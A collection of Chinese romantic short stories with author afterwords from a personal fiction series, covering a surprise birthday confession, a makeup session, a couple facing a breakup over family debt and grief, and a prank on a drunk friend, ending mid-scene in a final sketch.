　　“哈哈哈哈哈哈，这样啊……”

　　K 在文字里面笑着，但脸上却显出阴翳。心里觉得，这样好的天气完全没了意义。看了下天气预报，后面一周都有雨。

　　感觉没有他在的学校完全没有意义呢。K 撑着头在桌上发呆。

　　那就回家吧！她想。

　　叮咚。手机收到一条通知。

　　“你还在学校？”

　　“对，但是我打算今天回家了。”

　　“为什么……”

　　“嗯……”K 犹豫了一下，把那个原因藏进心里最深处，“因为想回吧，反正已经延考了。”

　　“这样啊。”

　　两人再无消息。


　　天气预报的前两天是准的，之后一直下雨，没有停过。阴湿的天气让人心里不舒服。

　　“你回去了？”

　　久违的，聪发来消息。

　　“对啊，已经到家两天了。”

　　“这样啊……家里不无聊吗？”

　　“无聊啊，听歌跳舞呗，反正又不想学习，”K 踌躇了一下，还是决定跟他说，“前两天有一个特别好看的舞，我准备扒，你要看吗？”

　　“这样啊，那你加油。”

　　依旧冷淡的回答。

　　K 不开心。

　　家里没有人，父母都去忙了，空荡荡的，只能一个人生闷气。

　　K 摇摇头，甩出那些不快的想法。她把手机放在桌上，开始跳她喜欢的那个舞。

　　半晌，她沉浸在舞蹈的美妙里。

　　叮咚，某个特别的铃声传过来。她知道，是聪。

　　凑近看，打开消息。

　　「开门。」

　　只有两个字。

　　“？”

　　“快点，外面冷死了。”

　　“？？？你在说什么。”

　　“开门啊，外面雨下得好大，真的很冷。”

　　“你在做梦吗？”

　　K 将信将疑地打开房门。左右看了看，果然没人。

　　K 觉得自己有点搞笑，自己还真信这些鬼话啊……

　　低头拿手机，准备说他两句，忽然发现地上有张纸条。

　　「往左看。」纸条上这么写着。

　　“什么情况……”这状况让她觉得有点搞笑，也有点紧张，总感觉越来越有悬疑剧的感觉了。

　　K 转向左边，还是没有任何东西。

　　忽然，她觉得自己头上有什么东西，紧张地转过身来。

　　「嘭！」

　　一束小礼花炸开在她的面前，面前是她朝思暮想的人。

　　“生日快乐！KK！”


　　把聪请到家里，她有一万个问题想问，但都先忍住了。

　　“我去给你泡杯茶。”

　　待客之道还是要有。

　　然后回来，K 就发现桌子上多了一个圆盒子，不大不小，上面写着“Happy Birthday”的字样。

　　“这是？”

　　“生日蛋糕。”

　　她看了看外形，密封得很严实，完全不像是蛋糕的样子，倒像是个潜伏的炸弹。

　　“你怎么会做这种事情？”

　　“你指什么？”

　　“跑到我家来。”

　　“给你庆祝生日啊，这还看不出来吗？”

　　“就这个？”

　　“就这个。”

　　K 怀疑他脑子出问题了，要不就是自己脑子有问题。

　　“不是，你之前不是都不理我吗？”她完全懵了，也顾不得弯弯绕，直接开始发难。

　　“傻孩子，言多必失，少说一点，才会有惊喜的感觉啊，”聪顿了顿，“我怕我说漏嘴了。”

　　“……”

　　“好了好了，快吃。还要赶车回去呢。”聪催促道。

　　“啊，行。”

　　K 现在觉得，两个人脑子都有问题。

　　“对了，我要开蛋糕了，你先转过去。”

　　“为什么？”

　　“我要插蜡烛。”

　　“插蜡烛为什么要转过去啊……”

　　“哎呀，你别管嘛。快点快点。”

　　K 无语地转过去，心里反复问自己：这人真的没问题吗？自己当初是怎么喜欢上他的来着？

　　“好了，转过来吧。”

　　K 慢慢地转过来，刚想翻他一个白眼，便一怔。

　　蜡烛在客厅里发出温暖的浅黄光芒，室内已经听不到雨打窗棚的声音了。烛光的正中心下方，有些小小的水果分列两侧，中间是一个可爱的猫爪图案。最引人注目的，是下面的两行大字：

　　「生日快乐！亲爱的女朋友小姐。」

　　K 看向他。

　　聪注意到她在看自己，将脸别过一边去，耳朵和脸颊呈现两个色调。

　　“你……同意了？”

　　“还在问……这么明显都不行吗？”

　　“我想听你亲口说。”

　　K 鼓足勇气，用手把聪的脸掰回来，让他看着自己。

　　两人对峙。

　　“好吧……”

　　聪率先开口投降。

　　K 觉得自己按在他脸上的手开始有点微微发热。

　　“我喜欢你，K 小姐。”

　　某人开心地扑到对方的怀里。

　　她在怀里注意到窗外。天，已经放晴了，正如她走的那天一样，是个爬山的好天气。


　　南国微雪 Miyuki

　　2022 年 12 月 19 日

　　

理想雪 - 为你化妆

封面图

摄影师 | Victoria Priessnitz

图源 | Unsplash

写在前面

3550 字 | 小说 | 理想雪 | 化妆

《理想雪》系列故事均为架空世界观，所有人名、地名等与现实世界无任何关联。

该系列只且仅只为了说明，小说作者在该情境下会诞生的想法和采取的行动，以及背后的世界观、价值观和人生观。

未经授权，禁止转载。仅供小范围内阅读。

于本篇小说，因笔者化妆相关专业知识不足，若有纰漏，望请海涵一笑置之。

正文

　　“说起来你会不会化妆啊？”她在收拾我们租的房间时，忽然这么说。

　　我一愣：“你怎么突然想起问这个了？”

　　“就随便问问嘛，”她一边把粉底液推到化妆镜旁边，一边回答我，然后继续收拾房间，“不过我觉得你这种直男，应该从来不碰这些的吧？”

　　我将头伸出厨房，看了看她的脸，她甚至还在笑——那个仿佛看透一切的笑容竟然让我有些生气。

　　我放下菜刀，将刀上的葱抹下，开口：“早些年其实学过一点哦？”

　　然后咚咚咚咚的声音传来，她趿着拖鞋跑过来，站在厨房门口看着我，一脸震惊：“真的假的？”

　　“你猜？”

　　“哎呀，肯定打肿脸充胖子，在逞强吧？”

　　“要不咱们待会儿试试？”

　　她竟然出奇地犹豫了：“也行……”然后柳眉一横，指着我：“可不许用多了！化妆品很贵的。万一你没学过，乱化一通，我岂不是亏了？”

　　我看着她那个认真的眼神，莫名地有些想笑。

　　“好了好了知道啦，瞧你小气的那个样子……”我打开炉灶，对她扬了扬头，“不过还是先等我们把饭吃完再说吧，大小姐。”


　　洗过脸，她坐在梳妆台前，面朝着我，示意我可以开始了。

　　当我拿起化妆刷的一瞬间，其实还是有些紧张，毕竟已经很久没有练习过了。不过那熟悉的手感，又让我想起了早些年从师的日子。

　　那时候我还幻想着，有一天能给自己的女朋友化妆。但没有料到，真正能实现，已经是两三年后了。

　　两三年后的今天，我从未离自己的梦想如此之近。

　　而当看见平时阳光活泼的她，闭着眼睛，仰着头，乖巧而安静地坐在椅子上，等待我的到来时，我忽然有些感动。

　　我不知道我能不能恢复之前的水平，但我想要尽可能做好。

　　“那我开始了。”声音低沉而认真。

　　“嗯。”

　　我看着她的脸，思考着最合适她的妆容。眉毛不浓，眉梢与眼角位置稍微有些差距，可以加深一下；性格天真活泼，不太适合浓妆，稍淡合适一点；我有些想看她妖媚一点的样子，或许能发现新的一面，所以打算将眼角拖长，作一个媚眼妆；右脸颧骨比左边稍微高一些，所以想在左边眼睛下加一些勾勒，看起来对称一些，但是图案还没想好；还好法令纹不像我那样重，而且比较均匀对称，可以暂时先不管；脸色打算红润一些，相比白的话更适合她一点……

　　思考慢慢成型。

　　最后我想在她眉心加一点花钿，金色不太适合妖媚的风格，所以打算换成红色。

　　“好了没有啊……怎么还没开始……”她忽然睁开眼睛，狡黠地对着我笑，“不会真是在逞强吧？”

　　“谁知道呢？”我笑笑，“待会儿卸妆可能会花很大功夫哦？”

　　她听到之后连连摆手，看起来有些害怕：“要不……算了吧……”

　　“怎么？英雄可不能临阵脱逃啊？”我笑笑，“乖乖闭上眼吧。”

　　“呜……”她咽了两声，便又闭上了眼睛，但马上又温柔地吐出了几个字：“要是不好看的话杀了你。”

　　她很看重外貌，当初我对这点有些反感来着，后面了解到一些缘故，便也不再排斥了。反倒挺欣慰。所以对于能不能化好这次妆，其实心里还是挺看重的。要是之前没有接受过那样的训练，或许会让她失望了吧。

　　我笑出声来。

　　“敬请期待吧。”

　　我开始动手。之后便是漫长的操作时间。

　　在画眼线的时候，她似乎有些意外，闭着眼睛问我怎么把眼线拖得这么长，都画到眼角那后边去了。

　　“因为在乱画啊，女朋友小姐。”我恶作剧地笑笑。

　　“待会儿一定杀了你。”某人恨恨地说。

　　因为媚眼妆对她来说，色调有些突兀，反差有些大，看起来怪怪的，所以又抹了点眼影去眼角那边过渡，然后又为了使眼影的颜色不那么断层，顺带着把眼影一起画了。

　　她曾不止一次向我表示，平时没有觉得那些刷子或者眉笔什么的有这么凉，越来越觉得我在搞怪。我笑而不语。

　　“不行哦，惊喜得留到最后。”

　　她本来想往梳妆镜那边看，但我给她挡住了。

　　“好吧，”她乖巧地将头转了回来，闭上眼，“要是待会儿不好看，你罪加一等。”

　　“要杀要剐随你便啦，我还敢不听吗？”

　　“你还笑！”

　　“不笑了不笑了，待会儿某人就笑不出来了，哈哈哈……”

　　“决定了，现在你就罪加一等。”

　　“反正横竖都是死，加不加无所谓啦。”

　　我笑笑。

　　最后，用细遮瑕笔，在眉心轻轻往下划了一竖。她没有红色的遮瑕笔，为了做出效果我还头疼了好一阵子。

　　“完成了，”我稍微看了看她的脸，还算满意，开始收拾东西，“你看看？”

　　我不再挡着梳妆镜。

　　她朝着镜子看了一眼。

　　然后她看了看我。

　　然后她又看了看镜子。

　　然后她又看了看我。

　　“这真是你化的？”她好像还没反应过来。

　　“如假包换，”我收拾好，“要不就是鬼给你化的。”

　　“你这不是很厉害吗？！”

　　“还好啦，没有之前的水平了。”我实话实说。

　　“稍等我打个电话。”她开始翻手机。

　　“你要干嘛？”

　　不回答我。

　　“喂？杨雪韵吗？今下午去逛街，有时间吗？啊……行，行，好，那就这样定了啊。”

　　我有种不好的预感。

　　“你，待会儿陪我们逛街去。”她指着我。

　　惨了。

　　“怎么这么突然？”

　　“这么好看的妆，不出去逛逛可惜了。”

　　我虽然不是不能理解这种心情……但是这可太折磨我了。

　　“对了，你，给我坐下。”她命令我。

　　“你干嘛……”

　　“我要给你化，待会儿咱们不是要一起出去吗？”

　　“我就不用啦……”

　　“坐下！”

　　“呜……好……”

　　我闭着眼睛的时候，她问我：“既然你技术这么好，为什么不选择去做化妆师呢？一定很受欢迎的，而且很赚钱。”

　　我不知道她为什么说这句话，但我还是如实回答了： “化妆师其实很辛苦的，而且我刚开始学化妆的时候就没有这种打算，只有一个想法。”

　　“什么？”

　　“只给我的女朋友化妆。”

　　我明显感觉到她涂粉底的手一滞。

　　“怎么了？”

　　“没什么……”

　　“啊，对了，那这么说，你之前有化过人吗？没化过真人的话，技术肯定不会这么好的吧？”

　　“化肯定化过啊，不过那是练习的时候了，学成之后就没再化过了。”

　　“这样啊……” 她感慨了一下，旋即开始嘿嘿嘿地笑。

　　我怎么感觉味道有点不对……

　　“怎么了？”

　　“没什么啦……”

　　我总觉得哪里有些问题……但是还是先考虑待会儿逛街怎么活下来吧……

　　早知道就不化了，人间灾难啊简直是。

　　我这样想着，跟她一起出了门，朝着阳光下的大街进发。

　　今天，幸好不是很热呢，要不妆就花了。


　　南国微雪 Miyuki

　　2022 年 10 月 17 日

写在后面

　　这篇小说是长相话题的产物。 小说相比论述更适合谈论这个话题。

　　文中所说， 给女朋友化妆这个事情，是我确确实实想要去做的一件事。 但因为感情经营惨淡，我也不知道能否实现。所以比起计划，更像是一个理想。而我学习化妆知识的动力来源，也仅仅只源于此——想让女朋友在自己的协助下变得更加漂亮。

　　所以这牵扯出另一个话题：长相是否真的如人们所想的那样重要？

　　早些年，我一直对外宣称，它不重要。并 希望借此，能够为对方减轻一些，天生的、无法改变的生理压力 。毕竟在自己无法改变的事情上受到指责，会有一部分人觉得丧气吧。大概也有暗暗的回馈心理作祟，我也希望有人能这样看待我。

　　而后一天，我忽然意识到，早期的这种理念，是否带上了傲慢？

　　那时候，我也说，男孩子的相貌不重要。但某一天随着那个觉悟的产生，我也发现它未必不重要。

　　《亲密关系》和人们普遍的认知，都认为，想要维持良好的亲密关系，双方都要给予对方一定的奖赏，所以在追求美这件事上，也不应该失衡。

　　譬如，有时一个饰品的佩戴，或许能带来意想不到的惊喜和心动。 这大概也是人们不懈努力追求美丽的动力吧——我们一直在不断尝试去发现这种惊喜。

　　所以男生的相貌，在某种意义上，也很重要。

　　所以，相貌是否重要，大概与性别无关，只与性格与理念有关。 而单纯追求美丽，如果已经化为精神动力，那便没有另一些人想的那样肤浅 （如我早些年那样）。

　　相貌确实是最显见的，但并不代表它一定不能成为重要的。内在也并不一定比外表更高贵。能够让人有持续的动力，去追求更好的生活，这才是最重要的。 如果另外一些东西也能达成这个目的，如舞蹈，如陪伴，如旅游等等，那么他们与内在一样重要。只是在接受度这个维度上，长相更大众，更显见，更让人容易接受。

　　于是，我后续便不再对人谈论，相貌重不重要这个话题。我不知道对方怎么想，重不重视它，而且有可能在介绍自己的理念时，就已经带上了先天的傲慢。

　　早些年我仅仅只希望让对方知道，这个世界上有更重视内在的人。在外表这件事情上，只考虑了一部分人的被动追求，而忽略了另一部分人的主动追求。

　　但如果，想要变得漂亮或者帅气，仅仅出于想要得到认可的话，我还是坚持早些年的理念：长相不重要。

　　相貌这个话题太过复杂，此处不能全部表达，后续有机会大概还会再聊一聊，但那时候将确确实实会是以论述的方式了。

　　而若对这些理念嗤之以鼻，或是没有耐心看下去，那也无所谓，这篇小说权当是笔者在这个话题上无聊的幻想吧（笑。


　　南国微雪 Miyuki

　　2022 年 10 月 17 日

理想雪 - 那些不重要

封面图

摄影师 | Marco Bianchetti

图源 | Unsplash

写在前面

3903 字 | 小说 | 理想雪 | 救赎

《理想雪》系列故事均为架空世界观，所有人名、地名等与现实世界无任何关联。

该系列只且仅只为了说明，小说作者在该情境下会诞生的想法和采取的行动，以及背后的世界观、价值观和人生观。

未经授权，禁止转载。仅供小范围内阅读。

正文

　　“说吧，什么事。”我坐在沙发上。

　　“我们分手吧。” 她平静地说出这句话。

　　我稍微愣了一下，然后起身，去厨房拿了两个杯子，抓一小撮廉价茶叶，泡满热水，端到茶几上。

　　“我还以为你要拿刀来对付我呢。”静笑了笑。

　　“怎么可能，你想多了，”我盯着茶叶往下沉，然后看了她一眼，“所以呢，你还有什么事情瞒着我没说的？”

　　这茶叶很廉价，但是她喜欢。我当初劝她说，要不要买一种贵一点的，不然不放心。

　　她说不要。还说，这种茶喝起来很凉，让人很冷静。

　　“没有。”她沉默了一两秒，然后说。

　　我笑了一下。

　　静就是这样的人。相处这么久，没什么大事，我都快忘了。

　　“原因呢？总得给一个吧。”我都不知道说什么好了，这个人。

　　“我对你没感觉了。”说出这句话的时候，她仍然很安静。就像她的名字一样。

　　我听到这句话的时候，忍不住笑出了声。并非是知晓泰坦尼克号即将沉没时，绝望的狂笑，而是确定了心中猜测时候安稳的笑。

　　“我问你个事情啊，”我看向她，“要如实回答啊。”

　　她翻了个白眼：“要开始审讯了吗？”

　　“要这么认为也可以，虽说都是些无聊的问题。”

　　“问吧。”

　　“我们在一起多久了？”我问。

　　“三年吧，应该。具体日期我记不清了，太久了。”

　　“你上一次对我说这句话的时候，是多久？”我问。

　　“忘了……应该是刚交往一两个月左右？”

　　“那个时候到现在，你觉得我们经历了多少？”我最终问出了这个问题。

　　“你不会觉得三年的感情很稳固吧？”她突然笑出声。

　　“不一定啊，五六年分的也有。”我镇定了一下。

　　思考着接下来的话，继续开口：“但我知道，对于你这样珍惜感情的人，绝对不会轻易地说出这句话。随便说出这句话，不仅是在戏弄我，更是在戏弄你自己，”我稍微沉默了一下，“经历不会骗人，每一件事情都会让我对你有更深刻的了解。”

　　她沉默了许久。

　　在此期间，我盯着茶叶缓缓下沉，听着外面雨打遮窗棚的声音。 淅淅沥沥，滴滴答答，像极了某个人的心绪。

　　“如果我执意要与你分手呢？”她缓缓开口。

　　“请给我一个合理的理由，起码要对得起这么多年的经历。否则我决不接受。”我平静地说。

　　“不接受又能怎样呢？我仍然可以一走了之。”她也依然很安静。

　　“为什么表白在一起的时候需要两个人都同意，但是分开的时候一个人就可以？”我想了一下，然后开口，随即意识到这句话有些责备的语气，“再说了，执意分手之后，我也可以执意黏着你啊。你又拿我没办法。想一走了之，哪有这么容易。到时候别人怕不是以为我变成了你的仇人。”

　　我看了一下她，然后她嘴角一撇，之后开始笑：“真有你的风格。”

　　“你以为我们认识多久了？”我仍只是笑，笑完顿了一下，“所以，还有什么没对我说的，都说出来吧。”

　　说到这里，我忽然想恶作剧一下：“亲爱的，女、朋、友、小、姐？”

　　一字一顿。我知道静受不了我这么叫她。她以前就说，这种称呼，有种很强的占有味，每次听到都有种自己是别人所有物的感觉。

　　“你好烦啊……”她提起拳头准备过来打我。

　　手停滞在半空中，却缩回去，叹了一口气。

　　“真的……愿意听吗？”她小声说。

　　我盯着她的眼睛，她注意到了，也注视着我。

　　“我以前对你承诺过的。无论发生什么事情，我都不会生气，所以尽管说就好。”

　　我说这句话时非常郑重，心里同时有些难过。我能说出这句话，同时也就证明了，她没有事事都给我说，而且如今还是这么重要的事情。

　　“嗯……谢谢你……还有……对不起……”

　　静低头，用双手捂住脸，掩饰自己的情绪。然后有些受不了似的，又抬起头，用手抹了一下眼睛。

　　“喝口茶慢慢说吧。”我开口。

　　“好。”她应了一声。

　　我们都端起茶喝了一口。

　　茶有些凉了。味道原本就能让人冷静，现在入口感觉更为清冷。屋里很安静，雨打钢棚的声音似乎小了一点。雨势正在减小吧，我想。

　　沉默了一下，她开口。

　　“一周前，我妈打电话过来说，她得了癌症。胃癌，还好没有转移。化疗和手术不知道要花多少钱。”

　　“嗯……”我沉默一下，应了一声。

　　“然后同时还说，父亲外面欠了六十万。赌的。他以前就爱赌。我以前只给你说我爸经常在外面上班，没给你说他赌。我那个时候怕你离开我。我没想到他现在瘾越来越大。我妈以前跟我说，她能解决这个事情，叫我不用担心，安心上学，安心上班。现在终于说她解决不了了。”她的声音越说越低。

　　“嗯……”我再次沉默一下。

　　“然后前两天，我被公司辞了。公司说我没法胜任目前的岗位，大概一个月之前被调到现在这里。这个圈子里面的人很脏，我不想碰，也没跟他们交往，就被忽视了。这是我目前能找到的最好的公司，本来还想努力打工，一个人慢慢还上。”

　　“嗯……”仍是沉默之后的应声。

　　“最后，昨天，我最好的一个朋友，原来在读研究生，因为被垃圾导师卡毕业，跳楼了。”

　　“嗯……”

　　我凑过去，抱住她。

　　“我该怎么办才好？”

　　“我们能扛过去的。”我抚摸着她的后背，轻声说。

　　我感觉肩上有些湿意。

　　“昨天晚上，我想了很久。我已经没什么值得留恋的了，只有你。但我身上已经没有任何希望了。”她颤抖着说。

　　不由得收紧了双手，将她抱得更紧。

　　“还有的，那些事情都不重要……”我轻轻地说。

　　“不重要？！”她一把推开我，“你又懂什么？！你什么都不懂！你从来都不知道有个赌鬼父亲从小到大是个什么感觉！你从来都不懂最好的朋友跳楼是什么感觉！你现在跟我说不重要，你知道这句话在我听来有多刺耳吗？！ 你什么都不懂！！！ ”

　　眼睛含着泪，脸上尽是愤怒。

　　我，头一次见到静发这么大火。生平第一次。

　　我想重新抱住她。

　　“放开我！！！”

　　她用力把我推开，我一把抓住她的手，把她拥进怀里。她的反抗让我很难受，现在身体到处都疼。

　　但是我不会放手。

　　绝对不会。

　　我只知道她对我很重要。

　　我只知道如果今天我放手了，可能我就再也见不到她了。

　　所以我不会放手。

　　绝对不会。

　　……

　　力气渐渐小了点，她在怀里轻轻抽泣，而后放声大哭。

　　“对不起……我不该那么说……我只是，不想失去你……”

　　说出这句话的时候，我自己都不知道是什么表情。或许是害怕吧，我想，但是肯定很难看。我自己都知道，刚才声音有些发抖。

　　“我……很害怕你离开……”

　　“但是、我、我现在已经这样了……”她抽噎两声。

　　“我们能熬过去的，”我低声说，“一定能熬过去的。”

　　我稍微松了松手，握住她的肩膀，直视着她。

　　她现在双眼红肿，发丝凌乱地黏在脸上，脸上满是泪痕，哭得抽噎不止。我知道这是她最难堪的样子，但是我还是要说出那句话：

　　“那些事情很重要。但是你对我更重要。我不想让你一个人去面对，更不想失去你，”顿了顿，艰难地吐出那几个字，“我真的很喜欢你，很喜欢，很喜欢。所以，我们一定能熬过去的。”

　　旋即再度拥入怀中，轻轻地摸着她的后脑勺和背。

　　这是我能做的最大安慰了。

　　“我身上到底哪一点值得你这么做……”她仍哭着。

　　“每一点，都值得。”我轻声说。


　　一段时间过后，我擦干她的眼泪。

　　“去洗把脸吧，都不好看了。”我揉乱她的头发，笑了笑。

　　“嗯……”她突然放声笑了出来，“让你看见我最难看的样子了。”

　　“这有什么，”我也笑了，捏住她的脸蛋，“我一直在看着你啊，女朋友小姐。”

　　“啊呜呜……很疼啊，男朋友先生！”她捂着脸抗议。

　　我愣了一下。

　　“这是你第一次这么叫我。”

　　“喜欢吗？”她笑嘻嘻地问。

　　“喜欢……”我为了掩饰害羞，扬了扬手，“快去洗脸吧，我再去泡杯茶，茶都凉了。”

　　“欸嘿嘿。”

　　“快去！！！”

　　“好好好，那么大声干嘛……”

　　茶确实凉了，我想现在喝起来一定能冷到胃里。还是喝点热的比较好。我向窗外望去，中午的阳光正照着熙熙攘攘的街道。

　　雨，停了。


　　南国微雪 Miyuki

　　2022 年 10 月 5 日

写在后面

　　有时候人们面对事态严重的糟糕事情，都会产生放弃和独自沉沦的想法。觉得就这样分开比较好。

　　每个人都不想成为自己所爱之人的负担，不想成为拖油瓶。对于恋人尤其如此。

　　就算我独自沉沦，受伤的也只有我一个人，但我喜欢你，所以我不愿看着你跟着我一起落入深渊。自己的话，无论怎样都好。 看见你痛苦，对于我来讲无异于凌迟，尤其是这种痛苦还源自于我。

　　于是我放手。虽然这样我也很痛苦，但更容易让人接受。

　　不过有时候，这种无视对方想法，一厢情愿地以为对方会更好的想法，能不能叫做“ 自私 ”？ 我时常在想这个问题。有时，想着想着，竟觉得这种想法有着巨大的傲慢和自我满足。

　　毕竟所有的内心活动只有一个人知道，对方完全蒙在鼓里。

　　对于某些人来讲，失去对方的痛苦，或许，远大于一起承受苦难。痛苦分担到两人身上减一半，但是分开会有两份分开的痛苦，各自承受，有一方还有解决一滩烂泥的糟糕事情。

　　我不想失去你，就算苦难再大，我想，有你在身边我都可以忍受。另一方或许会这么想。

　　这种情况下，前面的想法，我想，只能是傲慢。并且，其根源，或许就变成了：“不愿自己牵扯别人堕入地狱”的负罪感。这种负罪感，有一个“为了别人好”的漂亮外表，于是人们时常被迷惑，被自我感动，而没有想到有时候它竟源于害怕 。源于“害怕”和“为了别人好”，两方。

　　当对方温柔地接受目前目不忍视的你时，这种负罪感便暴露无遗。

　　“原来这就是傲慢啊。”我深入思考之后有时会诞生这种感触。

　　每次涉及到类似的事情的时候，我总想把这种想法、价值观，清楚地表述出来，化成文字。这种想法很美，有一种“痛苦和救赎”的文学意义上的美。我也想让更多的人思考，这个想法背后那个小小的，被人忽视的点。

　　如果能有这种感触，那么目的便达成了。

　　如果最后，笔者创作这篇小说，还有什么一己私欲的话，那就只剩下一个： 我想要成为文中这样的男性，能温柔而坚定地接纳对方的男生。

　　最后，微雪感谢每一位读者的阅读。


　　南国微雪 Miyuki

　　2022 年 10 月 5 日

理想雪 - 应不应该

封面图

摄影师 | Zohre Nemati

图源 | Unsplash

写在前面

1920 字 | 小说 | 理想雪 | 选择

《理想雪》系列故事均为架空世界观，所有人名、地名等与现实世界无任何关联。

该系列只且仅只为了说明，小说作者在该情境下会诞生的想法和采取的行动，以及背后的世界观、价值观和人生观。

未经授权，禁止转载。仅供小范围内阅读。

正文

　　燕说她想跟我们一起出去吃一顿，我没怎么问就叫上了他们。毕竟今天她的生日，还刚好撞上奖学金名单公布。

　　傍晚出发，晚霞将山尖染成暖橘，余晖形成一道道微弱的光柱照在我们身上。一群群人，声势浩大，朝着火锅店进发。

　　我们是专注于学习的一个社团，学的东西比较杂，但是只要在学就可以，我们有一个共同的见解，不管现在或未来它们能不能被用上，它们总能让我们见识到更宽更广的世界。

　　如果那一天医院发生了失超，你曾经在书里的无意一瞥或许会救你的命。诸如此类。

　　所以，无论是谁，拿到这类荣誉的时候，我们都会为对方高兴。

　　今晚她喝得很多，脸涨得有些红。她知道自己不是很能喝酒，缺乏乙醇脱氢酶，所以脸红。但是大家都开玩笑，说为心上人脸红了。

　　燕的心上人似乎在我们之间。

　　无数欢声笑语氤氲在鸳鸯锅升腾起的热气中。谁的牛奶不小心碰倒了，慌忙去擦；谁不小心说出了心里话；谁又讲了以前的故事；谁又开谁玩笑。我们记不太清了，连时间也记不太清了。

　　曲终人散，已是深夜。散场之后，光最后和我道别。我问光她怎么办，他耸耸肩，说不知道，旋即又笑了笑：“你可以把她背到女生宿舍去。”

　　“我会被灭口的吧……而且女生宿舍现在不是进不去吗？”

　　“唉……毕竟现在太晚了。”

　　“那我怎么办……”我有些哀叹，“你给……”

　　突然他电话响了。他接起，聊了两句，然后挂了。

　　“谁啊？”

　　“一个朋友。现在叫我过去转场。”

　　“好家伙，你局子挺多啊。”

　　“嘿嘿，那不然呢？”他笑了笑，“好了，我得走了，他们那边急，好像有个人要在三点之前回去，聚不了多久。”

　　“行，那你先去。”我招招手让他走。

　　他离去的背影似乎很愉快。我不太理解……转个局子这么开心的吗……

　　然后我看着身边倒在椅子上熟睡的燕，叹了口气。我还忘了问光，这人怎么处理。真的是，明明知道自己不怎么能喝酒，还喝这么多。

　　“燕？”我摇了摇她，“……燕？”

　　毫无反应。

　　我嘴角抽搐，看来真的有个非常难处理的事情啊……

　　我招来服务员，结了帐。然后又摇了摇她，还是丝毫没有要醒的迹象。我真不知道怎么办了……就没有什么办法能把她传送到宿舍去吗……

　　我在旁边痛苦了不知道多久。

　　“抱歉了。”

　　我默念一声，把她拉到背上，走出了店，在手机上找了一家条件还不错的宾馆，然后朝着定位走。我该庆幸的是这火锅店离学校不远，要不得累死。宾馆也不远，明天她可以自己走回去，而且刚好周六，睡个懒觉也行。

　　我去宾馆开了房。

　　不得不说……我第一次开房就这么交代在这里了……有些心有不甘啊……

　　我其实想过有没有可能他们是故意留下我们两个，但是又觉得自己十分可笑：自我感觉良好，说的应该就是这样吧。

　　我觉得他们只是单纯地不想接这个麻烦，然后就甩给我了。

　　不过今晚确实享了福了，第一次背着一个女生这么走来走去，虽然酒味儿很大就是了。

　　……其实有那么一瞬间我闻到那股酒味儿，想给背上的人来个过肩摔，这一摔准能醒。不过想想还是算了。

　　走到对应的房间，把她安置到床上，犹豫了一下，还是给她脱了鞋子。盖上被子准备离开之际，我忽然觉得有点可惜。

　　我真的就这么老实？不留下点纪念？

　　越想越亏。在她床边坐了一会儿，毅然决然决定好了。

　　一段时间，完事儿之后，悄悄地离开。


　　我刚回宿舍，准备上床睡觉，光忽然发来消息：“完事儿了？”

　　“完事儿了。你局子完了？”

　　“完了。可以啊，你小子。看来今天吃饭没白吃。”

　　“账是我结的，大哥。”

　　“又不是不给你，真的是。”

　　笑了笑，躺在床上，准备睡觉，想了一下，还是把那张照片发她了。

　　我在燕的脸上画了几笔，左脸三笔，右脸三笔，然后额头上写了一个“王”字。我其实很期待明天她看到消息会说什么话。

　　那一瞬间，其实我并不是没有真正的邪念。我毕竟是个男孩子。

　　但我们只是朋友，而且她还是个女生，并且现在还在睡觉。我想装睡我肯定多少能看出来，但是好像不是装睡的样子。

　　而且要是那样做了，后续会很麻烦。非常麻烦，毕竟性质恶劣。况且她心上人还在我们这群人当中。

　　不管她心上人是不是我，我都不应该这样做。

　　我觉得有这张照片，作为今晚这段神奇经历的证明就已经足够了。

　　考虑到她的感受，我还特意把这张照片加了滤镜之后才发给她，毕竟会好看点。我恶作剧地笑了两声，然后才真正睡觉。


　　从此我有了一个新的外号：呆瓜。他们这么叫我。

　　我觉得一定是她起的头，为了报复那一照之仇，不然不会有人对我有这么大的怨气。连光都这么叫我。


　　南国微雪 Miyuki

　　2022 年 10 月 3 日

写在后面

　　世界上，有些东西远比特定的欢愉更有价值，也更值得珍惜。

想象力训练 - 女性知识

　　“能不能给我揉揉肩？”她一进客厅便瘫倒在沙发上。面向沙发直挺挺倒下去的那种，我都担心她会不会磕到哪里。

　　当时我还在切橙子，也不知道她有没有转过头，不过听声音闷闷的，应该是埋在沙发里说的。

　　“干什么去了，这么累？”

　　“还不是杨雪韵她要去逛街，非要拉着我一起。”

　　啊，声音清晰一点了，应该是转过头了。她声音懒懒的，有些生活味。

　　“陆羽宁呢？他没陪着吗？怎么轮到你了……”

　　最后一瓣橙子，摆盘。嗯，看起来还不错。

　　“杨雪韵说他陪朋友打球去了，有些赌气，非要我陪她。要不怎么能轮到我嘛。”

　　“吃橙子啦，大美女，”我端着盘子走向她，“所以买了多少，累得这么够呛……”，我坐在她身边，问她。

　　“呜呜……别提了……所以你能给我揉一揉吗？”她看向我，右眼一眨，一个 Wink 甩过来，“我、的、骑、士、大、人？”

　　我举手投降。

　　“好好好，我的公主大人。”我叹息一声，后撤一步，在沙发和茶几间做半蹲状。

　　“嘿嘿……”

　　绕到沙发背后，看到她拿起一瓣橙子。

　　“那我要开始了啊……”我把两只手放到她肩上，如临大敌地说。

　　“你这个阵仗，又不是卫星点火，至于吗……”她有些无语。我看不到她的表情。

　　“话说你为什么要绕到后边去？”她一边吃着橙子一边说，“我侧一下身子不就好了？”

　　我摸索着记忆中父亲教给我的按摩手法，一边按摩一边说：“这样你不就不方便吃了嘛，而且沙发后边也好操作一点。”

　　“这样啊……”她仍只是吃着，没管我。

　　我揉着揉着，忽然摸到了一个奇怪的东西，然后我瞬间明白了那是什么……

　　她今天穿短袖，露出半截雪白的胳膊，短袖克莱因色。这种蓝色纯度高，不容易透，所以开始没发觉。我一直觉得这个颜色开朗，和现在透过窗户照进来的橙色光线一样，感觉很阳光。

　　“那个……公主大人……”我有些谨慎，“摸到你的肩带了……这样没问题吗……”

　　“欸，没问题啊。为什么会有这种想法？”她回答说。

　　“这样啊，那就好。”我正准备低头继续干活，然后看她仰过头来看着我。

　　“还是说……”她露出了恶作剧一般的笑容。

　　我感觉不妙。

　　“你……害羞了？”她后仰着盯着我嘿嘿笑。

　　“吃你的橙子去！”我双手用力一捏。

　　“啊……疼疼疼……”她马上将头摆了回去，动作迅速，我俩头差点撞上。好险。

　　“那么用力干嘛……好疼……明明之前那么舒服……”

　　“公主大人，请您说话之前考虑考虑措辞。”

　　“你个色鬼。”

　　我听到她的声音从前面传来，但马上又看到她仰过头盯着我。

　　“不过……”她又开始笑。

